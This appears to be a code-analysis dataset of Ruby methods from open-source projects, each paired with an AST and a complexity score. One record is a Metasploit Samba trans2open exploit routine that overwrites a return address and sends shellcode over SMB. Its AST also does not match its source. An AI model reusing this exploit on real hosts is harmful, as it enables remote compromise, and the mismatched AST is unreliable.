{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/runners_finder.rb","start_line":141,"raw_source":"def by_runner_type(items)\n      return items unless runner_type\n\n      items.with_runner_type(runner_type)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"by_runner_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner_type\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"with_runner_type\",{\"type\":\"send\",\"children\":[null,\"runner_type\"]}]}]}]}","id":"eaccbff4-3048-4bbd-9914-512f48fa7a7d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/async_delete_mixin_spec.rb","start_line":2,"raw_source":"def common_setup(klass)\n    objects = []\n    3.times do |i|\n      obj = FactoryBot.create(klass, :name => \"test_#{klass}_#{i}\")\n      objects << obj\n    end\n\n    return objects, objects.first\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"common_setup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"objects\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"test_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objects\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objects\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objects\"]},\"first\"]}]}]}]}","id":"678cdab4-ac2e-445e-a281-41a43f261a84"}
{"repo_name":"openproject","file_path":"./repos/openproject/config/constants/settings/definition.rb","start_line":1454,"raw_source":"def override_value_from_file(definition)\n        envs = [\"default\", Rails.env]\n        envs.delete(\"default\") if Rails.env.test? # The test setup should govern the configuration\n        envs.each do |env|\n          next unless (env_config = file_config[env])\n          next unless env_config.has_key?(definition.name)\n\n          definition.override_value(env_config[definition.name])\n        end\n      end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"override_value_from_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"definition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"envs\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"envs\"]},\"delete\",{\"type\":\"str\",\"children\":[\"default\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"envs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"env_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_config\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_config\"]},\"has_key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"name\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"override_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_config\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"name\"]}]}]}]}]}]}]}","id":"c95eb8c5-56e7-4e5f-a54d-48685b39c4f2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/mbsa_document.rb","start_line":129,"raw_source":"def collect_updatedata\n      return unless in_tag(\"SecScan\")\n      return unless in_tag(\"Check\")\n      return unless in_tag(\"Detail\")\n      collect_missing_update\n      @state[:updates] = {}\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_updatedata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"SecScan\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"Check\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"Detail\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"collect_missing_update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"updates\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"3ccf6fa0-4e75-44f4-84dd-a78a3b51931b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/snapshotting.rb","start_line":47,"raw_source":"def v_snapshot_oldest_timestamp\n    oldest = oldest_snapshot\n    return nil if oldest.nil?\n\n    oldest.create_time\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"v_snapshot_oldest_timestamp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oldest\",{\"type\":\"send\",\"children\":[null,\"oldest_snapshot\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oldest\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oldest\"]},\"create_time\"]}]}]}","id":"2c24cc7e-d9e1-47ff-9300-a360ecd4f399"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/base.rb","start_line":440,"raw_source":"def topic_id_from_imported_id(id)\n    @topics[id.to_i]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"topic_id_from_imported_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topics\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_i\"]}]}]}","id":"901f712f-b06e-42d6-9ef3-e1ea50e7d54e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/string_ext_test.rb","start_line":98,"raw_source":"def test_downcase_first_with_one_char\n    assert_equal \"t\", \"T\".downcase_first\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_downcase_first_with_one_char\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"t\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"T\"]},\"downcase_first\"]}]}]}","id":"c3037b2f-6754-4f33-aee8-c1e15d4c94af"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/server/socket_server_action_command_executor.rb","start_line":80,"raw_source":"def run_action_requiring_special_handling(command: nil, parameter_map: nil, action_return_type: nil)\n      action_return = nil\n      closure_argument_value = nil # only used if the action uses it\n\n      case command.method_name\n      when \"sh\"\n        error_callback = proc { |string_value| closure_argument_value = string_value } if parameter_map[:error_callback]\n        command_param = parameter_map[:command]\n        log_param = parameter_map[:log]\n        action_return = Fastlane::FastFile.sh(command_param, log: log_param, error_callback: error_callback)\n      end\n\n      command_return = ActionCommandReturn.new(\n        return_value: action_return,\n        return_value_type: action_return_type,\n        closure_argument_value: closure_argument_value\n      )\n\n      return command_return\n    end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_action_requiring_special_handling\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"command\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"parameter_map\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"action_return_type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action_return\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"closure_argument_value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"method_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"sh\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter_map\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_callback\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error_callback\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string_value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"closure_argument_value\",{\"type\":\"lvar\",\"children\":[\"string_value\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"command_param\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter_map\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"command\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"log_param\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter_map\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"log\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"action_return\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"FastFile\"]},\"sh\",{\"type\":\"lvar\",\"children\":[\"command_param\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"lvar\",\"children\":[\"log_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_callback\"]},{\"type\":\"lvar\",\"children\":[\"error_callback\"]}]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"command_return\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCommandReturn\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_value\"]},{\"type\":\"lvar\",\"children\":[\"action_return\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_value_type\"]},{\"type\":\"lvar\",\"children\":[\"action_return_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closure_argument_value\"]},{\"type\":\"lvar\",\"children\":[\"closure_argument_value\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_return\"]}]}]}]}","id":"27a180d0-5c87-45a7-b909-e3752b577abf"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/medium_article_retrieval_service.rb","start_line":4,"raw_source":"def self.call(...)\n    new(...).call\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"call\"]}]}","id":"8917c3ef-e776-4241-a4bf-5591075ef17c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/useless_assignment.rb","start_line":160,"raw_source":"def variable_like_method_invocation?(node)\n          return false unless node.send_type?\n\n          node.receiver.nil? && !node.arguments?\n        end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"variable_like_method_invocation?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_type?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments?\"]},\"!\"]}]}]}]}","id":"9cf4c59d-e2a0-4131-92d1-55167ac6675e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/lookup_user_threads.rb","start_line":105,"raw_source":"def fetch_tracking(guardian:, threads:)\n      context[:tracking] = ::Chat::TrackingStateReportQuery.call(\n        guardian: guardian,\n        thread_ids: threads.map(&:id),\n        include_threads: true,\n      ).thread_tracking\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_tracking\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"guardian\"]},{\"type\":\"kwarg\",\"children\":[\"threads\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"tracking\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"TrackingStateReportQuery\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"lvar\",\"children\":[\"guardian\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_threads\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"thread_tracking\"]}]}]}","id":"892679fb-1e2f-466f-9c7e-6cfdb2f2ed6c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/ldap/base_service.rb","start_line":71,"raw_source":"def try_to_update(user, attrs)\n      call = Users::UpdateService\n        .new(model: user, user: User.system)\n        .call(attrs.merge(ldap_auth_source_id: ldap.id))\n\n      if call.success?\n        activate_user!(user)\n        Rails.logger.info { \"[LDAP user sync] User '#{call.result.login}' updated.\" }\n      else\n        Rails.logger.error { \"[LDAP user sync] User '#{user.login}' could not be updated: #{call.message}\" }\n      end\n\n      call\n    end","complexity_score":24.5,"ast_json":"{\"type\":\"def\",\"children\":[\"try_to_update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"system\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ldap_auth_source_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap\"]},\"id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activate_user!\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[LDAP user sync] User '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]},\"login\"]}]},{\"type\":\"str\",\"children\":[\"' updated.\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[LDAP user sync] User '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"login\"]}]},{\"type\":\"str\",\"children\":[\"' could not be updated: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"message\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"call\"]}]}]}","id":"0f749733-70e9-4125-b1bf-58a1ec3b7c7b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/feature.rb","start_line":40,"raw_source":"def set(flags, **scopes)\n          flags.each_pair do |flag, state|\n            case state\n            when 'enabled', 'enable', 'true', 1, true\n              enable(flag, **scopes)\n            when 'disabled', 'disable', 'false', 0, false\n              disable(flag, **scopes)\n            when 'deleted'\n              QA::Runtime::Logger.info(\"Feature flag definition for '#{flag}' was deleted. The state of the feature flag has not been changed.\")\n            else\n              raise UnknownStateError, \"Unknown feature flag state: #{state}\"\n            end\n          end\n        end","complexity_score":12.13,"ast_json":"{\"type\":\"def\",\"children\":[\"set\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"flags\"]},{\"type\":\"kwrestarg\",\"children\":[\"scopes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flags\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"flag\"]},{\"type\":\"arg\",\"children\":[\"state\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"enabled\"]},{\"type\":\"str\",\"children\":[\"enable\"]},{\"type\":\"str\",\"children\":[\"true\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"enable\",{\"type\":\"lvar\",\"children\":[\"flag\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scopes\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"disabled\"]},{\"type\":\"str\",\"children\":[\"disable\"]},{\"type\":\"str\",\"children\":[\"false\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"disable\",{\"type\":\"lvar\",\"children\":[\"flag\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scopes\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"deleted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Feature flag definition for '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag\"]}]},{\"type\":\"str\",\"children\":[\"' was deleted. The state of the feature flag has not been changed.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnknownStateError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown feature flag state: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]}]}]}]}]}]}]}","id":"6ed2bc66-d0d3-47db-9d52-c301e6273fed"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/samba/trans2open.rb","start_line":78,"raw_source":"def brute_exploit(addrs)\n    curr_ret = addrs['Ret']\n    begin\n      print_status(\"Trying return address 0x%.8x...\" % curr_ret)\n\n      connect(versions: [1])\n      smb_login\n\n      # 1988 is required for findrecv shellcode\n      pattern = rand_text_english(1988)\n\n      # This stream covers the framepointer and the return address\n      off = target['Offset']\n      pattern[off, 64] = [curr_ret].pack('N') * 16\n\n      # Stuff the shellcode into the request\n      pattern[3, payload.encoded.length] = payload.encoded\n\n      trans =\n        \"\\x00\\x04\\x08\\x20\\xff\\x53\\x4d\\x42\\x32\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n        \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\" +\n        \"\\x64\\x00\\x00\\x00\\x00\\xd0\\x07\\x0c\\x00\\xd0\\x07\\x0c\\x00\\x00\\x00\\x00\" +\n        \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd0\\x07\\x43\\x00\\x0c\\x00\\x14\\x08\\x01\" +\n        \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n        \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\" +\n        pattern\n\n      sock.put(trans)\n      handler\n      disconnect\n    rescue EOFError\n    rescue => e\n      print_error(e.to_s)\n    end\n  end","complexity_score":47.55,"ast_json":"{\"type\":\"def\",\"children\":[\"brute_exploit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"addrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"curr_ret\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addrs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Ret\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"trans\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EOFError\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]}]},null]}]}]}]}","id":"97ea0287-3d38-4224-8b27-5c696133427d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/correctors/lambda_literal_to_method_corrector.rb","start_line":7,"raw_source":"def initialize(block_node)\n        @block_node = block_node\n        @method     = block_node.send_node\n        @arguments  = block_node.arguments\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@block_node\",{\"type\":\"lvar\",\"children\":[\"block_node\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"send_node\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@arguments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"arguments\"]}]}]}]}","id":"28f8738a-ce91-4d70-b3e2-4e3e8c24914f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/project/relation_factory.rb","start_line":161,"raw_source":"def update_group_references\n          return unless existing_object?\n          return unless @relation_hash['group_id']\n\n          @relation_hash['group_id'] = @importable.namespace_id\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_group_references\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_object?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"group_id\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importable\"]},\"namespace_id\"]}]}]}]}","id":"925d3568-81bb-4621-ad91-9a317a49047d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/query_analyzers/ast/logger_analyzer.rb","start_line":73,"raw_source":"def push_to_request_store(results)\n            query = @subject\n\n            # TODO: This RequestStore management is used to handle setting request wide metadata\n            # to improve preexisting logging. We should handle this either with ApplicationContext\n            # or in a separate tracer.\n            # https://gitlab.com/gitlab-org/gitlab/-/issues/343802\n\n            RequestStore.store[:graphql_logs] ||= []\n            RequestStore.store[:graphql_logs] << results.except(:time_started, :duration_s).merge({\n              variables: process_variables(query.provided_variables),\n              operation_name: query.operation_name\n            })\n          end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"push_to_request_store\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"results\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"ivar\",\"children\":[\"@subject\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"graphql_logs\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"graphql_logs\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"except\",{\"type\":\"sym\",\"children\":[\"time_started\"]},{\"type\":\"sym\",\"children\":[\"duration_s\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\"